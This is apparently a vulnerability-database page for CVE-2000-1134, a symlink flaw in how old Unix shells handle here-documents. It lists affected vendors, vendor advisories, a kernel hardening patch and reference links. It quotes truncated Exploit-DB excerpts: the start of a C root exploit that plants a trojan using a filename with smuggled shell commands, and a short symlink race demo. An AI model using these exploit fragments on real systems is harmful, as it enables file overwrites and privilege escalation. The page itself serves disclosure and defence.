CVE-2000-1134
published 2001-01-09CVE-2000-1134: Multiple shell programs on various Unix systems, including (1) tcsh, (2) csh, (3) sh, and (4) bash, follow symlinks when processing << redirects (aka…
PriorityP418high7.2CVSS 2.0
AVLACLAuNCCICAC
EXPLOIT
EPSS
1.42%
69.8th percentile
Multiple shell programs on various Unix systems, including (1) tcsh, (2) csh, (3) sh, and (4) bash, follow symlinks when processing << redirects (aka here-documents or in-here documents), which allows local users to overwrite files of other users via a symlink attack.
Affected
21 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| caldera | openlinux_edesktop | — | — |
| caldera | openlinux_eserver | — | — |
| conectiva | linux | — | — |
| conectiva | linux | — | — |
| conectiva | linux | — | — |
| conectiva | linux | — | — |
| conectiva | linux | — | — |
| conectiva | linux | — | — |
| hp | hp-ux | — | — |
| immunix | immunix | — | — |
| mandrakesoft | mandrake_linux | — | — |
| mandrakesoft | mandrake_linux | — | — |
| mandrakesoft | mandrake_linux | — | — |
| mandrakesoft | mandrake_linux | — | — |
| mandrakesoft | mandrake_linux | — | — |
| redhat | linux | — | — |
| redhat | linux | — | — |
| redhat | linux | — | — |
| redhat | linux | — | — |
| redhat | linux | — | — |
| suse | suse_linux | — | — |
CVSS provenance
nvdv2.07.2HIGHAV:L/AC:L/Au:N/C:C/I:C/A:C
vendor_redhat7.2HIGH
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Red Hat
security flaw
vendor_redhat·2000-10-28·CVSS 7.2
CVE-2000-1134 [HIGH] security flaw
security flaw
Multiple shell programs on various Unix systems, including (1) tcsh, (2) csh, (3) sh, and (4) bash, follow symlinks when processing << redirects (aka here-documents or in-here documents), which allows local users to overwrite files of other users via a symlink attack.
Statement: This issue was fixed in the following products:
- Red Hat Linux 5.0 - RHSA-2000:117 (2000-11-27)
- Red Hat Linux 5.1 - RHSA-2000:117 (2000-11-27)
- Red Hat Linux 5.2 - RHSA-2000:117 (2000-11-27)
- Red Hat Linux 5.2 - RHSA-2000:121 (2000-11-30)
- Red Hat Linux 6.0 - RHSA-2000:117 (2000-11-27)
- Red Hat Linux 6.0 - RHSA-2000:121 (2000-11-30)
- Red Hat Linux 6.1 - RHSA-2000:117 (2000-11-27)
- Red Hat Linux 6.1 - RHSA-2000:121 (2000-11-30)
- Red Hat Linux 6.2 - RHSA-2000:117 (2000-11-27)
- Red Hat Linux
GHSA
GHSA-j272-pr5g-4cv9: Multiple shell programs on various Unix systems, including (1) tcsh, (2) csh, (3) sh, and (4) bash, follow symlinks when processing << redirects (aka
ghsa_unreviewed·2022-05-03
CVE-2000-1134 [HIGH] GHSA-j272-pr5g-4cv9: Multiple shell programs on various Unix systems, including (1) tcsh, (2) csh, (3) sh, and (4) bash, follow symlinks when processing << redirects (aka
Multiple shell programs on various Unix systems, including (1) tcsh, (2) csh, (3) sh, and (4) bash, follow symlinks when processing << redirects (aka here-documents or in-here documents), which allows local users to overwrite files of other users via a symlink attack.
Kernel
namei: allow restricted O_CREAT of FIFOs and regular files
kernel_security·2018-08-23·CVSS 7.2
CVE-2000-1134 [HIGH] namei: allow restricted O_CREAT of FIFOs and regular files
namei: allow restricted O_CREAT of FIFOs and regular files
Disallows open of FIFOs or regular files not owned by the user in world
writable sticky directories, unless the owner is the same as that of the
directory or the file is opened without the O_CREAT flag. The purpose
is to make data spoofing attacks harder. This protection can be turned
on and off separately for FIFOs and regular files via sysctl, just like
the symlinks/hardlinks protection. This patch is based on Openwall's
"HARDEN_FIFO" feature by Solar Designer.
This is a brief list of old vulnerabilities that could have been prevented
by this feature, some of them even allow for privilege escalation:
CVE-2000-1134
CVE-2007-3852
CVE-2008-0525
CVE-2009-0416
CVE-2011-4834
CVE-2015-1838
CVE-2015-7442
CVE-2016-7489
This list is no
No detection rules found.
Exploit-DB
UUCP - File Creation/Overwriting Symlinks
exploitdb·2000-12-04
CVE-2000-1134 UUCP - File Creation/Overwriting Symlinks
UUCP - File Creation/Overwriting Symlinks
---
/**************************************************************
root exploit: multiple subsystem errors allowing root exploit
bashack.c - Thu Nov 30 21:50:50 NZDT 2000 (redhat 6.1)
/etc/rc.d/ and scripts that are trusting the untrustworthy.
/bin/sh acts silly when u get it to use the
#include
#define FNAME "/usr/man/man1/last.1.gz;export PATH=.;cd ..;cd ..;cd ..;cd ..;cd usr;cd sbin;uuconv;.1.gz"
main()
{
int d;
char fn[2000];
char *homedir;
FILE *file;
printf("bashack - root using multiple config/input validation errors\n\n");
printf("creating trojan in /usr/sbin/uuconv\n");
printf(" - uucp bug -\n");
printf("uucp follows symlinks as euid=uucp, (uid,gid,egid=you)\n\n");
homedir=getenv("HOME");
sprintf(fn,"%s/bashacker/",homedir);
mkdir(f
Exploit-DB
Apple Mac OSX 10 / HP-UX 9/10/11 / Mandriva 6/7 / RedHat 5/6 / SCO 5 / IRIX 6 - Shell Redirection Race Condition
exploitdb·2000-01-02
CVE-2000-1134 Apple Mac OSX 10 / HP-UX 9/10/11 / Mandriva 6/7 / RedHat 5/6 / SCO 5 / IRIX 6 - Shell Redirection Race Condition
Apple Mac OSX 10 / HP-UX 9/10/11 / Mandriva 6/7 / RedHat 5/6 / SCO 5 / IRIX 6 - Shell Redirection Race Condition
---
source: https://www.securityfocus.com/bid/2006/info
bash, tcsh, cash, ksh and sh are all variations of the Unix shell distributed with many Unix and Unix clone operating systems. A vulnerability exists in these shells that could allow an attacker to arbitrarily write to files.
A vulnerability has been discovered in a number of Unix shells which may allow a local attacker to corrupt files or potentially elevate privileges.
Scripts and command line operations using in an October 29th, 2001 BugTraq posting:
/tmp# echo 'hello world' > rootfile
/tmp# chmod 600 rootfile
/tmp# ln -s rootfile sh$$
/tmp# chown -h 666.666 sh$$
/tmp# ls -l rootfile sh$$
-rw------- 1 root root 12
ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-00:76.tcsh-csh.ascftp://patches.sgi.com/support/free/security/advisories/20011103-02-Phttp://archives.neohapsis.com/archives/bugtraq/2000-10/0418.htmlhttp://archives.neohapsis.com/archives/tru64/2002-q1/0009.htmlhttp://distro.conectiva.com.br/atualizacoes/?id=a&anuncio=000350http://distro.conectiva.com.br/atualizacoes/?id=a&anuncio=000354http://marc.info/?l=bugtraq&m=97561816504170&w=2http://www.calderasystems.com/support/security/advisories/CSSA-2000-042.0.txthttp://www.calderasystems.com/support/security/advisories/CSSA-2000-043.0.txthttp://www.debian.org/security/2000/20001111ahttp://www.kb.cert.org/vuls/id/10277http://www.linux-mandrake.com/en/security/MDKSA-2000-069.php3http://www.linux-mandrake.com/en/security/MDKSA-2000-075.php3http://www.redhat.com/support/errata/RHSA-2000-117.htmlhttp://www.redhat.com/support/errata/RHSA-2000-121.htmlhttp://www.securityfocus.com/archive/1/146657http://www.securityfocus.com/bid/1926http://www.securityfocus.com/bid/2006https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A4047ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-00:76.tcsh-csh.ascftp://patches.sgi.com/support/free/security/advisories/20011103-02-Phttp://archives.neohapsis.com/archives/bugtraq/2000-10/0418.htmlhttp://archives.neohapsis.com/archives/tru64/2002-q1/0009.htmlhttp://distro.conectiva.com.br/atualizacoes/?id=a&anuncio=000350http://distro.conectiva.com.br/atualizacoes/?id=a&anuncio=000354http://marc.info/?l=bugtraq&m=97561816504170&w=2http://www.calderasystems.com/support/security/advisories/CSSA-2000-042.0.txthttp://www.calderasystems.com/support/security/advisories/CSSA-2000-043.0.txthttp://www.debian.org/security/2000/20001111ahttp://www.kb.cert.org/vuls/id/10277http://www.linux-mandrake.com/en/security/MDKSA-2000-069.php3http://www.linux-mandrake.com/en/security/MDKSA-2000-075.php3http://www.redhat.com/support/errata/RHSA-2000-117.htmlhttp://www.redhat.com/support/errata/RHSA-2000-121.htmlhttp://www.securityfocus.com/archive/1/146657http://www.securityfocus.com/bid/1926http://www.securityfocus.com/bid/2006https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A4047
2001-01-09
Published